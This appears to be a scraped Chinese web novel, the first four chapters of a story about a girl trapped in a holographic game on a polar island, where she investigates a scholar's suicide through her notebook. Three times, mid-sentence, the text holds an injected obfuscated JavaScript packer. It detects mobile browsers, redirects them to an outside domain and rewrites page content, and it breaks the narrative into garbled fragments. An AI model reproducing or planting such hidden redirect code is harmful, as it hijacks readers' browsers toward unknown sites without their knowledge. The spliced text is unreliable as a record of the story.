《你的心等来了世界末日[赛博]》 1. 幽灵家族(一) “世界末日来临前,确实是有那么一条小船的。” “它孤独地漂在无边无际的水面上,载着最后的人类,最后的飞鸟,最后的种子。甲板上挤满了成双成对的动物,船舱里堆着人类文明最后的火种。” “那些没能上船的人,那些被洪水吞没的城市,都沉在漆黑的海底。滔天巨浪吞没山脉、摧毁城市。曾经喧嚣的世界,如今只剩下雨声和浪涛。” “这段被复原的故事提醒着我们,末日降临,到船这里来。” 6月30日,季节性海洋台风降临。 根据气象台通报,狂风暴雨即将席卷这座在黑暗中摇摇欲坠的沿海城市。 安德没去学校,而是在网吧。 遥控器坏了,电视里传来标准的播音腔,她在被迫在听一个文化科普频道。 最后几个走的学生连电脑都忘了关。只要不结账下机,号上的钱就会一直扣直到扣光。 学生走之前在看游戏直播。 现在直播已经结束了,灰色的框里只剩下一个重播的小箭头,不断有广告孤零零地跳动。 安德过来帮他下机,看到了屏幕上《往日之人》公测倒计时。 这一天网吧出奇得人少。 连蹭睡的人都没有了,几个一直翘课来上网几乎要住在网吧的学生,傍晚也收拾收拾走人了。 总是来讨饭的流浪猫没有来,碗里的东西堆成小山,一口没少。 安德松开手腕上的红绳,走出来看了看,发现街面上也没有行人了。 天色暗沉,狂风叫器着从大街上呼啸而过。 她接到了同桌江雨的电话。 说的是《往日之人:黑匣》公测的事情,让她立刻到“幸福麻辣烫”来,不管路上遇到什么都不要停下。 这个黑网吧就是江雨家开的,安德经常来看店,帮工一个小时十块钱。 大小姐一直随心所欲的,说什么要求都不奇怪。 为了能抓紧时间,安德骑着一辆二八大杠穿行在空旷的大街上。 雨终于来了。天被捅了个窟窿,哗啦一声惊天动地。她穿着黑色雨衣,水顺着往下落,全身上下只有半张脸和手露在外面。 安德摸出口袋里的手机,摁亮屏幕。最后一条台风警报还停留在通知栏,发送时间是两个小时前,现在连信号格都一会儿有一会儿没的。 紧挨着警报的是一条短信。 【快点过来,到船这里来。】 来自江雨。 船?什么船? 安德看了一眼信号格,想问她什么意思却根本发不出去。手机一掏出来就得进水,屏幕都让雨给打花了。 雨水在路面上汇成急流,卷着垃圾和落叶冲向排水口。那里早已堵塞,水面不断上涨。 便利店的货架七零八落,全部被扫空。收银台抽屉大开着,钱一张不剩。 街角的红绿灯还在工作,照着十字路口。绿灯亮起时,没有车启动,也没有人走过。 具体的记忆到这里就中断了,其余只剩下闪回的片段,很多细节记不清了。 安德穿行过暴雨中的城市,来到麻辣烫店,参加了赛博朋克题材的全息游戏《往日之人:黑匣》的公测。 只是登入的一瞬间,安德恍惚看到屏幕一闪,那行标题重组了。 变成了《往日之人:起源》。 包括她和江雨在内,一共五个人用设备登入了。这是非常高配的团队模式,一般的本三个人就够了。 他们非常重视这次公测,所以即使下着大雨也要把战力最高的安德喊过来。 但是,只有安德被投到了最北边的“文德尔港”。 记忆在不停地分裂,脑子就这么空了。 登入之前的那场瓢泼大雨渐渐在身上冻住了,夏日的闷热转瞬即逝,变成一张铺天盖地寒冷的大网。 连绵的冰川跃入眼帘,可是学校没有教过怎么极地求生。 以前玩的游戏都是坐在电脑外面用鼠标点一点就好了,这种身临其境的痛苦真是第一次见。 “到船这里来。” 安德的脑子里只剩下这句话,冥冥之中,她觉得这或许是她最后的生机。 也真是好死不死的。安德一辈子都走文化洼地路线的人,刚好在前几天玩了一次网页小游戏。 看广告等复活的时候,被迫欣赏了几分钟的国家地理纪录片。 她闭上眼睛,想等风弱下来的时候辨别方位。但是不行,四周太过安静,让耳朵塞了棉花一样闷闷的,连呼吸声都听不清了。 靠近海洋的冰原可能有更多因海水侵蚀形成的冰丘,或季节性冰湖什么的。 安德伸出手,遮挡着直射的强光,观察雪面。强风常从海面吹向陆地,所以积雪可能沿风向形成波纹状,可以用波纹延伸方向判断海洋方向。 这个游戏像是有精神的触手一样,链接在她身上。全息痛觉模拟无比真实,饿到极点反而想要呕吐。 大概判断了方向之后,安德就开始了艰苦卓绝地爬行,大半个身体都拖在厚重的冰雪里。 她手指深深抠进冻土,整个人被冻得神志模糊。 令人耳鸣的长久死寂过后,有声音从海面上传来。 声音来自一艘老旧的船只,黑漆斑驳,正行驶过码头。 意识消散的最后一刻,她死死盯着甲板上戴熊皮帽的身影,发出求救的信号。 船真的来了。 . 再次睁眼时,船板在身下摇晃。 身边正坐着一老一少。安德听到这个老人在叫她的名字。 安德向舷窗外快速张望了一下,判断此时的方位。受伤睡着的这段时间,船已经完全驶出了极地无人区。 现在公共频道一片死寂,队内通话也不能用了。一道横线封在对话框的最下面,除此之外什么历史记录都看不到。 安德有种被全世界屏蔽的不适感,浑身疼痛地坐起来。 《往日之人:起源》是什么游戏? 《黑匣》是《往日之人》系列里的第一部作品,安德从来没有听说还有一版《起源》。而且她发现,这个游戏没有登出通道。 安德来自学校的一个小型游戏公会。 平时接接同城代打单子,只是很少遇到那么值钱的本。 这场游戏悬在天梯榜首的最高奖励,是发行公司为了搞噱头,承诺出的一个“梦想”。 由于《往日之人:黑匣》的内测是保密进行的,他们没能找到可用的攻略。 安德当时只能扫了几眼游戏背景。 【世界末日后,人类绿洲“天穹”重新建起。赛博大都会中,被称为“空心病”的污染,被证实具有强传染性,致死率极高,成了人们不得不面对的一大社会难题。】 【“空心病”正在吞噬人类的记忆与灵魂,而你,是被选中的“原型感应者”。用语言唤醒潜意识深处的古老力量,我们防护、我们对抗、我们治愈。】 【但记住:每一次能力的晋升,都可能让你离心灵污染更近一步……】 安德再次看了一眼这片冰海,和身边土著的穿搭。 说是赛博朋克游戏,现在更像是疯狂的极地原始人剧情。 老头儿杵在边上,那顶熊皮帽子压得他绿眼珠子都快看不见了。突然,他一把将旁边的小年轻搡到安德跟前。 “我主安德利亚斯!我将伊万献给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718907|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您!我献给您斯特拉霍夫一族最纯粹的后代!” 安德不禁一愣。 被称为伊万的人身材高大,及肩的淡金发,眼睛是绿色的。这个角色的外貌设计相当有品,至少达到了可以压轴时装周的水准。可以说是特别英俊了。 伊万这小子被推得一个踉跄,站直后整张脸都涨得通红,有点像在过年被逼着给亲戚表演才艺。 安德姓安,单字德。 她从出生开始就是这两个字。为了省事,她的一系列通信软件和游戏账号,都是用的本名。 “安德利亚斯”明显是个洋名,谁啊? “你怎么知道我是安德利亚斯?”安德换了种问法。 伊万没有丝毫反对的情绪,反而满脸荣誉感地点头:“因为您的脸和壁画上一模一样!” 安德一醒来就检查过脸。额头上全是血,但依旧可以辨认出自己。 老头按着伊万肩膀的手突然一滑,整个人“扑通”一声跪了下去,动静大得让人担心他的老膝盖会不会碎掉。 伊万也跟着跪了,脑袋垂得低低的。 就在这时,右边的门开了。一溜老少爷们鱼贯而入,跟下饺子似的全跪下了。 整整一船人在给她磕头。船被震得晃了晃,安德差点以为要沉了。 好吧。 这下她确定自己卡进隐藏剧情里了。 平时安德一直做DPS,也就是“主力输出”的位置。她基本什么武器都能操作,大到刚得手的金色传说,小到刚进副本的默认刀枪。 其他成员判断是正确的,有了她就可以打速推流,他们公会因此还破过团队副本记录。 她不喜欢推剧情,有必须过的剧情就会挂一个自动连点器。 但现在,她和几个队友一样,真实的身体还在那家麻辣烫店里,戴着《往日之人》开发组寄来的设备。 她必须要认真走剧情了。 五个人一起下本,一般都是“二二一”的模式,单独行动的人灵活机动,需要承担“侦查”的责任。 好在系统没有拿走安德的视野装备。 也就是说,她现在是“侦查位”而非“输出位”。不能消灭危险,要深入危险。她需要收集地图和情报。 安德刻意观察了船舱里所有可以用来当作武器的大小摆设。比如离她最近的盘子里,就摆着一柄银色的旧餐刀。 警觉只在一瞬间,安德强迫自己放松下来。要钓大鱼,就得陪这群人玩下去,就必须忍住暴力通关的想法。 安德刚打算再问点什么,老头突然张开了左臂,右手握住脖子上一根有着幽暗光泽的鱼骨头吊坠。 他叽里咕噜说了一堆,说得声泪俱下。 底下黑压压的人跪挤在一起,跟着低声哭泣起来。 诡异的是,安德真的能感觉到他们非常痛苦,这种痛苦来源不明,但是让空气粘稠起来。 一个强烈的念头涌上心头。 这游戏全息痛觉模拟有些恐怖。 他们登陆的时候用了统一的便携脑机交互设备,这游戏为了仿真“空心病”和“心灵污染”主题,擅自入侵了她的全部神经吗? 她点开自己的装备栏看了一眼,里面只有五个小眼睛排列着。 这就是点亮地图的基础装备,侦查前期一般用它来开视野。 望着这几只没有和其它功能一起消失的小眼睛,安德从来没觉得它们是如此可靠。 地图上,他们的行驶轨迹是一根迂回的虚线。 安德把一个小眼睛插进当下的虚线点,一块空白的地图变成了茫茫冰海,边角上画着一个鲸鱼骨架形状的渔村。 【您已解锁——文德尔港】 2. 幽灵家族(二) 不久后天就完全黑了。 安德一个人在船舱的房间里吃完他们所剩不多的干粮。 她并没有那么多伤口,这说明有人的血流在了她身上。 安德脱下身上那件沾满血污的衣服,感觉有点像什么宗教仪式的长袍。 背后有个已经被血污遮盖的金色标志,模糊可以看出是个三重同心圆,十二道光纹向外发散。 她在柜子里翻到了干净的上衣和长裤。除了尺码太大没缺点,厚实暖和。 安德抽下所有窗帘上的绳子,最长的那根绑在裤腰上固定了两圈。 整个人看上去有点像会移动的麻袋。 柜子里还有防水的靴子和抗风的熊皮帽子。 安德转了一圈,像每个新手村的人那样,把能用的东西都穿戴上来。 这些渔民很谨慎,屋子里没有留什么可用的武器给她。 安德把切面包的银色餐刀收在厚实的袖口里,然后拆了两根细长的烛台绑在上衣棉夹层里,熄灭的蜡烛放进裤子的口袋。 地图上她的位置越来越靠近渔村了,外面的动静也大起来。 安德打开房门出来,看到那个老头站在甲板上,有人称呼他老阿列克谢。 伊万爬上桅杆解帆索。 老阿列克谢双手迅速抓住绳索,口中不停地发出简短有力的指令。狂风在拉扯船帆,绳索一点点被收紧。 其他人从甲板下方的储物舱里拖出沉重的锚链,抛入海中。锚链在海水中下沉,随后锚爪紧紧地抓住海底的泥沙,固定住了渔船。 白色的泡沫被推上来转眼就被黑色的浪敲碎,低矮和惨白的房屋渐渐靠近。 安德望着眼前古老的渔村。 说好的赛博朋克呢?到底是谁对赛博朋克有误解? 如果她四个队友投放位置没问题的话,这会儿估计正在城市里嗨呢。 特别是江雨,肯定已经搞到飞行汽车了,然后开着霓虹大灯在摩天大楼之间飙车。 只有她沦落到这里,给一群原始人当海神娘娘来了。 渔村在文德尔港的边缘。 老阿列克谢说明天一早带她去见冯老师。 “冯老师是谁?”安德问。 “文德尔港最有学识的人……她什么都知道,您也正是如她预言般归来了。”伊万回答的时候有些犹豫。 也是,这地方有神,就肯定还有神棍。什么赛博朋克大战封建迷信。 伊万是老阿列克谢的孙子,他始终跟在安德后面,脸有点红。 安德的直觉告诉她要更加谨慎些。同时,第一选择应该是向风暴中心靠拢。所以这个晚上,安德决定在阿列克谢家老宅的阁楼住下。 说是阁楼其实并不高,这里的房屋又矮又密闭,很多还用积雪堆着厚厚的外墙。 掩着阁楼门扉的是一块老旧塑料皮裹着的毡布,不知道寒风从哪里渗进来。这种寒冷异常真实。 操作界面里没有计时器。 在这里,一切时间仿佛都随着现代文明消失了。 推开窗户,进来的风打在脸上,安德眯起眼睛。借着月亮能看到远处矗立着一座灯塔。 塔上环绕着幽蓝色的光亮,很高,在文德尔港是唯一的高建筑。塔身通体白色,所在的方向就是港口的尽头。 船上吃的干粮很快就消化掉了。渔民们都睡了,安德找不到醒的人要点吃的。 荒凉的冰海四面八方地围着这些低矮的房子。安德看到了水边站着一个人影,看衣服应该也是原住民NPC。于是弄出了些动静,那个人听见了,回过头来看她。 安德问他能不能找点吃的,他安静地点点头,就走进了厨房。 过了一会儿,阁楼门被敲响了。 跟体型健壮的青年伊万相比,进来的这个人算是男孩,高高瘦瘦的,不怎么说话。头发是黑色的,眼睛比其他人要翠绿很多。 他托着一个还算光滑的板子,上面放着两块热面包,一叠干切肉,一碗红菜汤。 身前扎着粗布的围裙,看样子很熟悉这一类的活计。他半蹲在安德面前,把菜一碗一碗往下端。 安德跟他说了声谢谢,把面包摁在汤里沾着吃:“冯老师住在什么地方?” 他抱着板子,没有回答也没有立刻出去。 安德想起他也是白天船上下跪人群中的一个。当时他跪在最后一排,抬起眼睛看了她一眼,所以安德记得这双眼睛。 “离开这里,”他沉默半天,终于开口,“这座岛会吃人。” 吃人? 安德刚想问他,就听见楼下传来骚动声,人们似乎是醒了,正在说话。 不一会儿,他们的脚步声就次第渐近。门被人再次敲响,这次非常急切,安德有种很不好的预感。 “出事了,我的主!”伊万喊了一声,进来就要行大礼。 安德已经站在门口准备出去了,一把将他的动作推回。 “不用一直那么客气的。”她说。 老阿列克谢瞥见了站在角落的黑发的瘦高男孩,立刻说:“江上,你也来。” 走下阁楼,安德看见了外来客,一个修女的身影。她站在门边,浑身都是雨水。 微弱的光落在她的侧脸上,这是一张中年女人的脸,一双绿色眼睛犹犹豫豫地来回扫视。被这样的眼睛在夜里盯久了难免浑身发毛。 安德注意到她的头发是黑色的,外貌也和跟伊万他们不一样。倒是和退在一边叫江上的送饭男孩有些相似。 这座岛上,是两个人种吗? 按照现实来看,冻土地带空气干燥,水汽含量低,因此主要降水形式是雪。 只有在极端情况下才会出现暴雨,而暴雨后会带来更加复杂的气候变化,引发地面塌陷,恶性循环。如果常常这样,就说明这个地方的生态环境正在崩溃。 门外瓢泼大雨,狂风大作,放在现实世界也完全属于极端天气。 天还没有亮。他们熟悉地掏出绳子,看样子已经习惯。 这对爷孙拴在了一条麻绳上。另一条麻绳由地位最低的江上走在前面,安德和修女被安排走在后面。 伊万夹在江上和安德中间,手里还扶着他们的绳子。相当于形成了一个小的阵型,所有人都不会被刮跑。 五个人顶着风雨交加的夜色前行。大小巷子相互交织,狭窄昏暗,两侧是破败的房屋。 提灯的光根本穿不进暴雨,脚下泛起潮湿的土腥味。 路渐渐宽阔,开始有别的人提着防风灯跟他们往一个方向走去,看来修女之前还通知了其他渔民。 所有人都被浇得透湿,脸色铁青。 安德能看见一座教堂的轮廓。黑压压的,线条硬朗庄重,顶端锐利着直指向上。 但是他们反而向着另一个方向,往村落边缘走去。 最西边还有一座教堂。 这座体积小了很多,而且破落衰败。如果不是它还保持着尖塔、钟楼的基础构造,很难看出来它原本是什么。 门窗没有封死,反而像等待着什么一样洞开着。 “惠,冯老师在哪里?”老阿列克谢压低声音。 被叫做惠的修女指向关着门的忏悔室。她捡起掉在一边的扫把,走进阴影里带路。 “冯老师,在里面工作……她叫我不要打扰她。” “我想着她一天没有吃东西了,所以就……但是我打不开门了!不管我怎么敲门,忏悔室里什么声音都没有。” 安德走到那扇紧闭的门前,握住门把用力扭动,但是门被死死锁住。 她退后几步,猛地向前冲去,用肩膀撞击房门。门板发出巨响,剧烈摇晃。 渔民们反应过来,纷纷加入。 门上挂着的老旧木牌被撞得掉在地上,上面写着“忏悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718908|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”两个字。 一次又一次地撞向那扇门,直到门板被撞得向内飞去,重重地砸在墙上,扬起一阵灰尘。 一股血腥味铺天盖地而来。 屋里的那个人,正坐在书桌前。 上半身向后仰着,空洞的蓝色眼睛直勾勾地望着天花板。 墙壁上,红白相间的液体流淌下来。 浓稠的血泊干涸在地板上,凝结着一些黑色的血块。 一个金发的中年女性,嘴里咬着枪管。瀑布般的血浆凝固在她的脖子上、衣服上。画面做的太逼真了,视觉上非常恶心。 修女紧紧抓着她的扫把。 在场所有人都表情凝固,什么声音都没有发出。 安德能看出,这个村落里的人们精神紧绷,自说自话,全部都有些神经质。 他们的生活很绝望。整个文德尔港就像一个养育着绝望的培养皿,现在他们变得更加绝望了。 一个词语跳进脑海。空心病。 这词确实贴切。 他们开始在中殿跪下,举起双手向着上方。 安德一瞬间感到生理性心跳加速,但马上又没事了。任何情绪活动在她身上都是来去匆匆。 想起在老家,夜里起来上厕所,外婆给她一把快没电的手电筒。四周乌漆麻黑的,她一边走一边挡着,竟然觉得风会吹灭它。 就那么哗一声,就会灭了,一切都来得快去得也快。 站在鬼哭狼嚎的人群里,安德觉得自己像个走错片场的观众。 情绪像与她擦身而过的风,又像刚点亮就灭了的光,不知所踪。 安德越过修女的脸,看清了上方的东西。位于中殿之上的穹顶,是徐徐展开的巨大壁画。 画像中的人穿着色泽柔和的衣物,面容温和而宁静,被神圣的光辉所润泽,双眸清灰如霜冻。 那是一个慈爱与悲伤的形象,能洞悉世间万物的疾苦,又似对众生皆怀有无尽的怜悯。 此时此刻她理解了伊万在船上的那句话。画中的人,正是安德。 金色的壁画如同在她头顶旋转绽开的金色曼荼罗。 安德往后退了一步。 就在这时,她眼前突然跳出一直沉寂的操作界面。 【序章触发:燃烧安德利亚斯的画像】 终于有了引导。只是不知道这莫名其妙的提示是什么意思。难道达成条件是让她把这些画都烧掉吗? 安德回头瞥见了落满积灰的玻璃柜,模糊的倒映中看见了自己的样子。 裹着破旧厚实的衣服,清灰色的瞳孔像是结上了一层霜。 外貌没有变,她从小就蔫巴,还长着一双灰色的眼睛。 是她自己完整地进入了这个游戏。 但安德进游戏前那个下午,曾经在网吧的楼梯间摔了一跤。 如今那摔出来的伤和血渍都不见了,倒是手腕和脚腕上多出了很明显的冻伤。 “玩家”的状态消失,取而代之的是“角色”的状态。唯一例外,她手腕上还系着串着一枚铜钱的红绳。 这是一枚写着“乾和重宝”的日月同辉钱。 说是为当年庆祝太后生辰与边疆大捷双喜临门,朝廷特命铸币局打造一批纪念铜钱,祈求国家风调雨顺、国祚绵延,是古代工匠用母钱翻砂法精制而成,真正的古董。 外婆家里传下了一枚,给了妈妈,然后妈妈出远门之前交给了她。 安德再次抬起眼睛,两张一模一样的脸相望对视。 她能感受到画像中那非人的目光似在轻抚灵魂,仿佛世间所有的苦难都能在这目光中寻得慰藉。 如果只是为了适配剧情做了暗线玩家的脸,也足够震撼。 环绕的建筑物全部都是圣洁的灰白色。气氛安逸、祥和,带着一丝劫后余生的、重建的哀伤。那个人坐在空旷的广场上抱着一只猫,白色飞鸟从眼前掠过。 3. 幽灵家族(三) 就在这个时候,安德感觉到有人闯了进来。 来的人很多,他们乌泱泱地堵在了教堂的大门口。 来者比安德身前的这群绿眼睛人数更多。 如果不看瞳色很难分辨,他们和伊万这群人一样,都人高马大,穿着相似的皮毛外套和帽子,成群的棕熊一样接踵而至。 做DPS很多年,安德是一个在战场上相当警觉的人。 于是她站在人群后面,默不作声地戴起宽大的兜帽,将防风面罩拉到眼下。 “把外来者交出来!” 一个灰白胡子的老头疾言厉色地走进来,裹着主教的长袍。 看来是东边那个教堂的人来了。 “这就是你们带外来者上岛的惩罚。”他举起提灯,映亮了半张脸。 安德很快就注意到,来者是个瞎子。 “有了第一个,你们还带来了第二个!” 年迈的主教脸颊凹陷,眼角长满细密的皱纹,眼皮因为衰老耷拉着,眼珠浑浊。 听到主教的话,安德转过头凝视着冯老师。 没有瞑目,手因过度用力而泛白,指节扭曲,扣紧在老旧的扳机中。 第二个。 这个冯老师经历了同样的事情来到这里?难道她也是玩家? 外面电闪雷鸣,雨水砸在屋脊上变成数以万计的雹子,震耳欲聋。 “暴雨频发,冻土融化,文德尔即将万劫不复,是这个疯子害了所有人!都是她做的那些愚蠢的尝试,亵渎了至高神的存在!而你们竟然愚蠢到会相信一个疯子的蛊惑!”主教声如洪钟,斥责着一具无法再站起来和他辩论的尸体。 “所有外来的异教徒都应该有这样的下场!” “冯老师不是疯子!” 是老阿列克谢的声音,他的声音愤怒而又颤抖。 安德听见了“尝试”这两个字。 看来冯老师还做了些什么,既然做了就必定会留下痕迹。 安德刚好被前面几个高个渔民挡住了。 她退后靠近书桌,将桌上一摞摞交叠的书推开翻找。 她需要痕迹。 如果不是绝望到了极点,没人会选择这种离开的方式。那么冯老师在开枪之前,一定是发生了什么。 安德感觉有人在盯着自己。 她猛地抬头,沉默着将餐刀滑进指间。 是那个被挤在一边的修女。 她额头细密的冷汗滚落,隔着人群,发现了安德正在翻冯老师的遗物。 这个老实巴交的修女张张嘴,看样子是想说什么。 然后她咬着嘴唇,似乎是下定了某种决心。 她飞快地摸过来,帮忙翻找冯老师的遗物。 安德有些诧异,惠的眼神很复杂。那里有未知命运的恐惧,有视死如归的勇敢,也有一种纯然的信赖。 很快就找到了在最下面压着的一个墨绿色本子。 封面由皮革制成,用金色的丝线绣着一些模糊不清的花纹,边缘因长期翻阅变得毛糙。 惠低下腰从手边的柜子里找出一条破旧但干净的毛毡挎包。 把本子塞进去后,她扑过来把挎包开始往安德的肩上绑。 之前她没有接触过有信仰的人士,不是很能理解这种感情。 这些人面对主教都非常紧张,胸膛剧烈起伏。但是他们再惊慌也没有动,紧紧站在前面,把安德挡在忏悔室高悬的门框之后。 好像真的一直在等待着冯老师预言中的那个人,就像等待着整个文德尔港的命运。 “文德尔港不能再有第二个外来者!”主教的声音还在回荡。 惠的脸近乎僵硬,眼神空洞却又透着一股执拗的专注。手指还在颤抖,却依旧稳稳地、一丝不苟地打结和调整长度。 安德想起小学的时候,外婆也是这样帮她装书的。 “冯老师她在岛上生活多久了?”安德压低声音。 “大约有十年了,我的主。”惠说。 安德顿住了。 比她来到文德尔港早了十年。 而《往日之人》系列的公布也仅是六个月前。 . 凌晨离开破落教堂的时候,安德混迹在人群中,钻进两个高马大的中年人中间被捎了出去。 她觉得后背有些冷,所以回头看了一眼,刚好对上主教浑浊的目光。 那种刀锋一样的眼神,让安德无比确信她被主教发现了。 他是个瞎子,但她总觉得他什么都能看见。 “冯老师死了,就在昨天晚上。” 站在屋檐下的几个老烟枪在闲聊。 雪落在安德身上。 她躺在他们后面那道墙头上。他们看不见,但是整条巷口的全景都在她视野里。 安德擅长狙击,狩猎时她通常很有耐心,而且很会找隐蔽地点。 墨绿色笔记本摊开在膝盖上。这并不是一个完整的记录,其中有些页被撕去了。掐头去尾,余下的部分就显得不是很有逻辑。 【冰原一望无际,而我却发现了村落。我一直没有弄清楚这里是否是北极或南极,我失去了一部分记忆,不知道应该怎么回去。从小除了读书就没有一技之长,本来以为必死无疑了,但是我为自己找到了活路。 我帮他们做预测天气的瓶子,这样他们出海就会选择更加安全的日子。我尝试着改良捕鱼的工具,手因此伤痕累累。他们拿鱼肉来给我吃,以前我是不吃鱼的,可是现在鱼就是我活下去的希望。我帮他们协调邻里关系,教给他们安全避免有孕的方法。 就这样,我被原住民们收留了。我每天做完村里的工作,就会到海边去坐着休息一会儿,只有在那里我才可以冷静下来想念我的家人,我太想回家了,总是哇哇大哭。】 【最开始的时候,我看到了这里的建筑结构和原住民的饮食起居,怀疑过这里是不冻港。但是根据我这些年的观测,文德尔港这片人迹罕至的地方已经成为永久冻土,土石层坚硬无比,终年不化。我猜测活动层下方的永冻层可以达到几百米的深度,无孔基岩里没有水分的存在。这里的腐殖质结构简单,淋失微弱,营养元素贫乏。干泥炭作为绝热的工具,把温暖永远地隔绝在了冻土层之外。 这里根本就不是什么不冻港,只是它的生态系统正在崩溃,暖湿气流可以轻易地产生影响,让温度和空气湿度高于其他地方。这里海水紧紧依偎着冻土,有一种震撼的美,如果你见过就知道我没有夸张。我以为我再也不会开心了,但我还是爱上了大海。】 安德坐了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718909|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >远处的海无穷无尽。岸线陡峭,潮退去后留下会有冰棱留下,如同倒悬的匕首。 非常相似的经历。同样地忘记了怎么来到冰原,但是没有忘记来之前的能力。 她之前考虑过冯老师是玩家,现在依然不能否定这个可能。没有人可以测试出游戏里和现实世界中的时间流速一致。 或许冯老师只是提前进游戏了一分钟。 但在NPC看来,她是十年前来的。 那对于冯老师本人来说呢? 她作为一个知识分子,来到愚昧落后的极地荒岛,度过了十年,最后用一把枪结束了人生。冯老师的形象在安德脑海中变得立体了。 巷子里的声音传过来,是教堂的人们在架起一口锅。 他们今天会施舍些盐水炖肉和干馍,渔民就不用到外面去了。 早上的时候,安德就发现了有很多人在送饭菜。 “我的主,”老阿列克谢说,“这里一年总有相当天数的黑夜,它们来临前,我们把这天的夜晚称为‘鲁厄’。我们必须在鲁厄的夜晚互相帮助。” 怪不得出来顶多四个小时天又开始黑了。从今夜开始,这片冰原将要沉没在夜里将近两个月,稀有的阳光不再光临。 安德当然知道这叫“极夜”现象。 明天开始是极夜。 获取到这条信息的瞬间,安德发现信息库更新了,【极夜】词条出现。 大概是极端的气候、落后到几乎没有的经济,让这里的人们神神叨叨。 安德觉得他们确实就像住在山洞里的原始人。 内开的矮门下面挂着冰碴和金色画纸,顺着整整一条街巷都团满了人。 人们把自己的旧物摆出来二手交易,中间夹杂着原本的几家商户。 江上正在集市上换一些二手布料和蔬菜,安德在这个角度看见他在人群中就像一个黑白相间的点。 他拿到的蔬菜并不多,也不新鲜。安德盯着那些本不应该见到的蔬菜,将手里的本子向后翻去。 【从玛蒂尔德.冯.维滕施坦因到成为冯老师,我用了五年。在那之前我只是努力地成为了他们其中一员,但是我很快发现他们民智未开和类似于野兽的一面,我需要更多的尊重和不可替代性,需要独立且保暖良好的房间,才能保证我的安全。决定我地位的重大事件,其中一件就是蔬菜和谷物的种植。文德尔港原住民的体力劳动需要碳水化合物,但是大部分谷物都需要十五度左右的温度,就在这个时候我竟然在地窖中找到了保存良好的黑麦亲缘种。 我把这件事情分成了两步,首先花了一年时间反复失败,因为一氧化碳中毒中断过两个月,此处不提。最终成功建造了温室,并用燃烧的鱼油和苔藓制作了恒温的火坑。第二步我用了两年去改善一小块地的肥力,还制作了一个简单的防风帐,后来这个成功的模板被很多原住民应用。后来我们还种出过芜菁、萝卜和菠菜。我喜欢红菜汤,但是甜菜根实在不耐寒,因此很少种。】 冯老师写了很多关于在岛上生活的内容,让安德对这位值得敬佩的荒野求生者有一点亲切感。 因为事关生死存亡,她感觉自己变得无比仔细,一页一页地找关键词。 但是这些荒村致富经戛然而止,中间被撕掉了很多内容。 4. 幽灵家族(四) 【从那件事情之后,我知道我不能再这么坐等下去。我从没有放弃过找回我的记忆,因此决定尝试了。开始实验时,我没有抱太大的期待。我没有可以指导用的步骤,大概知道和我的心、脑有关,所以只能对我自己的一些感受进行尝试。 我在夜深人静时,坐在桌子前,打算把这些过程记录在案。我要说很多话,在这些话里找到我的初衷。我要进去的是“意识的核心”,只有达到它我才能真正地理解“神”。我不知道我要走多久,也不知道一旦开放它,我会迎来什么样的下场。】 可以说是风格突变,连字迹也变得潦草。安德不禁皱起眉头。 “那件事情”是什么?“实验”又是什么意思? 【我更加不愿意和人们呆在一起,只要身边有人在说话我就会烦躁。上个月我离开了文德尔第一教堂,搬到了荒废的锡安教堂,足够安静,也足够偏僻。这是我第四十六次尝试,也是改变我一生的一次。我全神贯注,想象我的意识是一道道光线,然后汇聚于焦点之上。 我必须承认我吓坏了。我害怕不是因为我疯了,我知道我很清醒,而是因为我看到了世界的真相。我从来没有如此清醒过。我先是看见了,海的那边有一道墙,墙的那边有另一个世界,那个世界里有一座巨大的高塔,我们最后都会去那儿。没有人相信我,如果安德利亚斯要来,祂只会从海上来。】 这应该就是那条预言了。 安德想把暂时不能理解的话都记在心里,才开始有点后悔这些年没有好好训练自己的背书能力。 就在这时,她听见了系统里的提示音。 【您好,请问是否使用「备忘录」功能?】 怪不得人人都说,游戏世界无难事,只要肯开发。 一个迷你的笔记本图标跳了出来。 安德点进去,一边阅读一边看见内容像流水一样自然出现在空白的位置。 原图像是截屏了一样地放在最上面,下面文字版标点空格一个都不错,记录的第一行前还标注着《新手教学关:燃烧安德利亚斯的画像》。 设计师一定是个在读书时代就很会记笔记的人。有了这个功能之后,连安德的阅读速度都变快了。 【我知道我成功了,我深信这才是真实的世界。当这些场景出现的时候,我的内心一阵忧惧。但我即使害怕也知道自己离摆脱这个虚假现实更近了一步。那些试图让我相信这是幻觉的人,他们才是被蒙在鼓里的可怜虫,而这世界上到处都是可怜虫。】 安德想起她初中的时候,传看了同桌的一本课外杂书,讲的是一个人为了修仙不惜走火入魔的故事。但是在故事的最后,主角在精神病院查出了精神分裂。 作者笔力很强,看完了一整天都觉得眼前有光污染。所以安德见过这种叙事的风格。 主教曾经当着所有人的面痛斥死去的冯老师是疯子。 